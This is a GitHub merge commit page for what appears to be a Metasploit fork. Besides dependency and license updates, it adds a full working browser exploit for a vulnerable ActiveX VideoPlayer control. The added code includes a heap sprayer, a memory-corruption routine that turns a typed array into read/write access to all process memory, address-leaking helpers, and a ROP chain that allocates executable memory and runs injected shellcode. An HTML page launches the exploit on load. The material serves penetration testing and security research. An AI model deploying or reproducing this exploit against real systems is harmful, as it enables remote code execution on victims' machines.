Skip to content

Commit

Permalink
Merge pull request #5 from jvazquez-r7/land_3323
Browse files Browse the repository at this point in the history
Update with rapid7 master changes. I'll take a further look at this module and add version support to pick the best exploit path for differing tomcat versions.
  • Loading branch information
Matthew Hall committed Mar 5, 2015
2 parents 0d56f5b + 5cc9ea3 commit 5b65811
Show file tree
Hide file tree
Showing 306 changed files with 14,343 additions and 5,799 deletions.
1 change: 0 additions & 1 deletion .travis.yml
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,6 @@ script:
- git diff --exit-code && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '1.9.3'
- '2.1'

notifications:
Expand Down
14 changes: 7 additions & 7 deletions Gemfile.lock
Original file line number Diff line number Diff line change
Expand Up @@ -14,17 +14,17 @@ PATH
nokogiri
packetfu (= 1.1.9)
railties
rb-readline
rb-readline-r7
recog (~> 1.0)
robots
rubyzip (~> 1.1)
sqlite3
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.13.19)
metasploit-credential (~> 0.14.0)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.22.8)
metasploit_data_models (~> 0.23.0)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
Expand Down Expand Up @@ -112,18 +112,18 @@ GEM
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.19)
metasploit-credential (0.14.0)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.29.0)
metasploit_data_models (~> 0.22.8)
metasploit_data_models (~> 0.23.0)
pg
railties (< 4.0.0)
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.29.0)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.22.8)
metasploit_data_models (0.23.0)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
Expand Down Expand Up @@ -172,7 +172,7 @@ GEM
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.4.2)
rb-readline (0.5.2)
rb-readline-r7 (0.5.2.0)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.16)
Expand Down
4 changes: 0 additions & 4 deletions LICENSE
Original file line number Diff line number Diff line change
Expand Up @@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding
2009-2012 H D Moore <hdm[at]rapid7.com>
License: BSD-3-clause

Files: external/ruby-lorcon/*
Copyright: 2005, dragorn and Joshua Wright
License: LGPL-2.1

Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3
Expand Down
126 changes: 126 additions & 0 deletions data/exploits/edb-35948/js/exploit.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
var Exploit = function () {
// create its vulnerable ActiveX object (as HTMLObjectElement)
this.obj = document.createElement("object");
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
// perform controlled memwrite to 0x1111f010: typed array header is at
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
// The first 3 dwords are sideeffects due to the code we abuse for the
// controlled memcpy
this.whereAddress = 0x1111f010;
this.memory = null;
this.addresses = new Object();
this.sprayer = null;
this.informer = null;
this.sc = "<%=shellcode%>";
};

Exploit.prototype.run = function() {
CollectGarbage();
this.sprayer = new Sprayer();
this.sprayer.spray();

this.memory = this.doCorruption();

//alert(this.memory.length.toString(16))
if (this.memory.length != 0x7fffffff){
//alert("Cannot change Uint32Array length");
return -1;
}

// now we could even repair the change we did with memcpy ...

this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
var leakSuccess = this.leakAddresses();

if (leakSuccess != 0) {
//alert("Cannot leak required address to build the ROP chain");
return leakSuccess;
}

var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
ropBuilder.buildRop();

// manipulate object data to gain EIP control with "Play" method
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call

// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
this.obj.Play()
};

Exploit.prototype.prepareOverflow = function() {
// prepare buffer with address we want to write to
var ptrBuf = "";
// fill buffer: length = relative pointer address - buffer start + pointer
// offset
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
ptrBuf += this.dword2str(this.whereAddress);

return ptrBuf;
};

Exploit.prototype.doCorruption = function() {
var ptrBuf = this.prepareOverflow();

// trigger: overflow buffer and overwrite the pointer value after buffer
this.obj.SetText(ptrBuf, 0, 0);
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")

// use overwritten pointer after buffer with method "SetFontName" to conduct
// memory write. We overwrite a typed array's header length to 0x40 and let
// its buffer point to the next typed array header at 0x1111f030 (see above)
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE


if (this.sprayer.find() == -1){
//alert("cannot find corrupted Uint32Array");
return -1
}

// modify subsequent Uint32Array to be able to RW all process memory
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem

// our memory READWRITE interface :)
return this.sprayer.fullMemory;
};

Exploit.prototype.leakAddresses = function() {
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);

this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);

// check if we have the image of VideoPlayer.ocx
// check for MZ9000 header and "Vide" string at offset 0x6a000
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
return -1;
}
//alert(this.addresses['base'].toString(16))

// get VirtualAlloc from imports of VideoPlayer.ocx
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
// memcpy is available inside VideoPlayer.ocx
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))

scBuf = new Uint8Array(this.sc.length);
for (n=0; n < this.sc.length; n++){
scBuf[n] = this.sc.charCodeAt(n);
}

this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);

return 0;
};

// dword to little endian string
Exploit.prototype.dword2str = function(dword) {
var str = "";
for (var n=0; n < 4; n++){
str += String.fromCharCode((dword >> 8 * n) & 0xff);
}
return str;
};
52 changes: 52 additions & 0 deletions data/exploits/edb-35948/js/informer.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
var Informer = function(infArray, mem, ref) {
this.infoLeakArray = infArray;
this.memoryArray = mem;
this.referenceAddress = ref;
};

// Calculate VideoPlayer.ocx base
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
// deref heap pointer containing VideoPlayer.ocx pointer
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
var base = videoplayerPtr - 0x6b3b0; // calculate base

return base;
};

// Calculate VideoPlayer object addres
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18

return objPtr;
};

// Calculate the shellcode address
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
this.infoLeakArray[0] = shellcodeBuffer;
// therefore, leak array element at 0x11120020 (typed array header of
// Uint8Array containing shellcode) ...
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]

return shellcodeAddr;
};


Informer.prototype.leakRopAddress = function(ropArray) {
this.infoLeakArray[0] = ropArray
// leak array element at 0x11120020 (typed array header)
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// deref array element + 0x1c (leak rop's buffer address)
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address

return ropAddr;
};
38 changes: 38 additions & 0 deletions data/exploits/edb-35948/js/rop_builder.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
var RopBuilder = function(informer, addresses, scLength) {
this.rop = new Uint32Array(0x1000);
this.ropAddress = informer.leakRopAddress(this.rop);
this.base = addresses['base'];
this.virtualAlloc = addresses['virtualAlloc'];
this.memcpy = addresses['memcpy'];
this.scAddr = addresses['shellcode'];
this.scLength = scLength;
};

// Build the ROP chain to bypass DEP
RopBuilder.prototype.buildRop = function() {
// ROP chain (rets in comments are omitted)
// we perform:
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
// memcpy(EAX, shellcode, shellcodeLen)
// (void(*)())EAX()
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
this.rop[offs + 0x3] = 0; // lpAddress
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
this.rop[offs + 0xc] = this.memcpy;
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
};

58 changes: 58 additions & 0 deletions data/exploits/edb-35948/js/sprayer.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
var Sprayer = function () {
// amount of arrays to create on the heap
this.nrArrays = 0x1000;
// size of data in one array block: 0xefe0 bytes =>
// subract array header (0x20) and space for typed array headers (0x1000)
// from 0x10000
this.arrSize = (0x10000-0x20-0x1000)/4;
// heap array container will hold our heap sprayed data
this.arr = new Array(this.nrArrays);
// use one buffer for all typed arrays
this.intArrBuf = new ArrayBuffer(4);
this.corruptedArray = null;
this.corruptedArrayNext = null;
};

// Spray the heap with array data blocks and subsequent typed array headers
// of type Uint32Array
Sprayer.prototype.spray = function() {
var k = 0;
while(k < this.nrArrays) {
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
// aligned at 0xXXXX0020)
this.arr[k] = new Array(this.arrSize);

// fill remaining page (0x1000) after array data with headers of
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
// typed array header has the size of 0x30. 0x10 bytes are left empty
for(var i = 0; i < 0x55; i++){
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
}

// tag the array's last element
this.arr[k][this.arrSize - 1] = 0x12121212;
k += 1;
}
};

// Find the corrupted Uint32Array (typed array)
Sprayer.prototype.find = function() {
var k = 0;

while(k < this.nrArrays - 1) {
for(var i = 0; i < 0x55-1; i++){
if(this.arr[k][i][0] != 0){
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
// alert("0x" + arr[k][i][0].toString(16))
this.corruptedArray = this.arr[k][i];
this.corruptedArrayNext = this.arr[k+1];
this.fullMemory = this.arr[k][i+1];
return 1;
}
}
k++;
}

return -1;
};
11 changes: 11 additions & 0 deletions data/exploits/edb-35948/main.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
<!DOCTYPE html>
<html>
<head>
<script src="js/exploit.js"></script>
<script src="js/sprayer.js"></script>
<script src="js/informer.js"></script>
<script src="js/rop_builder.js"></script>
</head>
<body onload="e = new Exploit(); e.run();">
</body>
</html>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file added data/java/metasploit/JMXPayload.class
Binary file not shown.
Binary file added data/java/metasploit/JMXPayloadMBean.class
Binary file not shown.
Loading

0 comments on commit 5b65811

Please sign in to comment.